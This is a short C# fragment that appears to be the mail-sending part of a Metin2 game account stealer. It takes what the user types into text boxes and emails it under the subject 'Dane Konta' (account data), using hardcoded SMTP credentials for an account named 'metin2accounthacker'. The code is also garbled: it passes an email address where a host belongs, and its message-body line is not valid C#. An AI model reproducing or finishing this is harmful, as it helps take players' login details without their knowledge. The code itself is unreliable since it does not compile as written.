SmtpClient client = new SmtpClient("ninjafoot@interia.pl", 587);
                client.Credentials = new NetworkCredential("metin2accounthacker@wp.pl", "Jestembotem");
                MailMessage msg = new MailMessage();
                msg.From = new MailAddress("metin2accounthacker@wp.pl");
                msg.To.Add(new MailAddress(textBox3.Text));
                msg.Subject = "Dane Konta";
                msg.Body = textBox1.Text, textBox2.Text;
                client.Send(msg);